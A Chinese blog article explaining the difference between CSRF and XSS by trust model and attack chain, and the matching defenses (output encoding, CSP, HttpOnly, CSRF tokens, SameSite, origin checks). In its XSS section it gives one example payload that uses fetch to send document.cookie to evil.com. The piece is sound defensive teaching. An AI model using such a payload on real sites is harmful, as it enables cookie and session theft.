CSRF 与 XSS 的核心区别：从攻击链路看防御重点

在 Web 安全领域，CSRF（跨站请求伪造）和 XSS（跨站脚本攻击）是两种最常见、也最容易被混淆的攻击方式。许多开发者在面试或日常工作中都能说出它们的名字，但一旦被问到“它们到底有什么区别”“为什么防御手段不能互换”，回答往往就变得模糊。事实上，这两种攻击在攻击链路、信任模型和防御重心上存在根本性差异。理解这些差异，比死记硬背防御清单更有价值。

一、信任模型：一个骗服务器，一个骗浏览器

要理解 CSRF 和 XSS 的区别，首先要看它们攻击的是谁的“信任”。

XSS 攻击的是用户对网站的信任。 攻击者通过注入恶意脚本，让浏览器在目标网站的域名下执行攻击者控制的代码。用户以为自己还在访问可信站点，实际上页面已经被注入的 JavaScript 劫持。恶意脚本可以读取 Cookie、窃取表单数据、发起任意请求、篡改页面内容。

CSRF 攻击的是网站对用户浏览器的信任。 攻击者并不需要注入代码，而是诱导已经登录目标网站的用户，在不知情的情况下向目标网站发送一个请求。服务器看到请求携带了合法的 Cookie，就认为是用户本人操作，从而执行了转账、改密码、发帖等敏感动作。

一句话概括：XSS 是代码注入，CSRF 是请求伪造。 XSS 让恶意代码在受害者浏览器里运行，CSRF 让受害者的浏览器替攻击者发请求。

二、攻击链路对比

XSS 的攻击链路

1. 攻击者发现目标网站存在输入未过滤或输出未转义的漏洞，例如评论区、搜索框、URL 参数。
2. 攻击者构造包含恶意脚本的输入，例如 <script>fetch('https://evil.com?c='+document.cookie)</script>。
3. 网站将这段输入原样输出到页面中，浏览器将其当作代码执行。
4. 恶意脚本在受害者浏览器中运行，窃取 Cookie、会话令牌或执行其他操作。

XSS 的关键在于恶意代码进入了页面，攻击发生在目标网站的上下文里。

CSRF 的攻击链路

1. 受害者已登录目标网站（如银行），浏览器中保存着有效的会话 Cookie。
2. 攻击者构造一个恶意页面或链接，例如一个自动提交的表单，指向银行的转账接口。
3. 受害者访问该页面，浏览器自动携带银行 Cookie 发送请求。
4. 银行服务器验证 Cookie 有效，执行转账操作。

CSRF 的关键在于请求从受害者的浏览器发出，攻击者并不需要看到响应内容，只需要请求被成功执行。

从链路可以看出，XSS 需要“注入点”，CSRF 需要“已登录状态”和“可预测的请求格式”。XSS 的受害者是访问了被注入页面的用户，CSRF 的受害者是已登录目标站点的用户。

三、为什么防御手段不能互换

很多开发者会问：既然都是 Web 攻击，为什么不能用同一套防御方案？原因在于两者的攻击入口和利用方式完全不同。

XSS 的防御重点：输入过滤与输出编码

XSS 的根源是用户输入被当作代码执行。因此防御核心是：

• 输出编码：根据输出位置（HTML、属性、JavaScript、URL）进行对应编码，让浏览器把用户数据当作文本而非代码。
• 输入验证：对格式、长度、类型进行白名单校验，但输入过滤不能替代输出编码。
• CSP（内容安全策略）：限制脚本来源，禁止内联脚本，降低 XSS 成功后的危害。
• HttpOnly Cookie：让 JavaScript 无法读取敏感 Cookie，减少会话劫持风险。

CSRF 的防御重点：请求来源验证与令牌

CSRF 的根源是服务器无法区分请求是否出自用户本意。因此防御核心是：

• CSRF Token：在表单和请求头中携带服务器生成的随机令牌，攻击者无法预测。
• SameSite Cookie：限制跨站请求携带 Cookie，从浏览器层面阻断大部分 CSRF。
• Origin/Referer 校验：检查请求来源是否为目标站点。
• 敏感操作二次验证：如转账、改密码时要求输入密码或验证码。

可以看到，CSRF Token 对 XSS 毫无作用，因为 XSS 可以直接读取页面中的 Token；而输出编码对 CSRF 也没有意义，因为 CSRF 请求本身并不包含恶意代码。防御手段必须对应攻击链路中的关键环节，否则就是无效防御。

四、两者的关联与组合攻击

虽然防御手段不同，但 XSS 和 CSRF 并非完全独立。一个严重的 XSS 漏洞可以绕过大部分 CSRF 防御，因为攻击者可以直接用 JavaScript 读取 CSRF Token，或者以受害者身份发起任意请求。因此，在安全加固中，XSS 通常被视为比 CSRF 更严重的漏洞。

反过来，CSRF 如果结合其他漏洞，也可能造成严重后果，例如结合 JSON 劫持、CORS 配置错误等。但在大多数场景下，CSRF 的危害局限于“以用户身份执行操作”，而 XSS 可以进一步窃取凭证、控制账户、传播蠕虫。

五、从攻击链路看防御优先级

在实际安全加固中，建议按以下思路安排优先级：

1. 先防 XSS：因为 XSS 可以绕过 CSRF 防御，且危害更大。重点做好输出编码、CSP 和 HttpOnly。
2. 再防 CSRF：在敏感操作上强制使用 CSRF Token 和 SameSite Cookie。
3. 纵深防御：不要依赖单一手段。输出编码、CSP、Token、SameSite、二次验证应组合使用。
4. 持续测试：通过代码审计、DAST 扫描和渗透测试验证防御是否覆盖真实攻击链路。

结语

CSRF 和 XSS 的核心区别，不在于“一个偷 Cookie、一个发请求”这种表面描述，而在于它们攻击的信任对象不同、攻击链路不同、防御切入点不同。XSS 是让恶意代码在目标站点执行，防御重点是输出编码和脚本控制；CSRF 是让浏览器伪造用户请求，防御重点是令牌校验和来源验证。只有从攻击链路出发理解防御重点，才能避免“堆砌安全措施却依然被攻破”的困境。在 Web 安全加固中，SQL 注入、XSS、CSRF 往往需要协同防御，但每一种漏洞都必须用对应的思路去解决。

未经允许不得转载：任鹏个人博客 » CSRF 与 XSS 的核心区别：从攻击链路看防御重点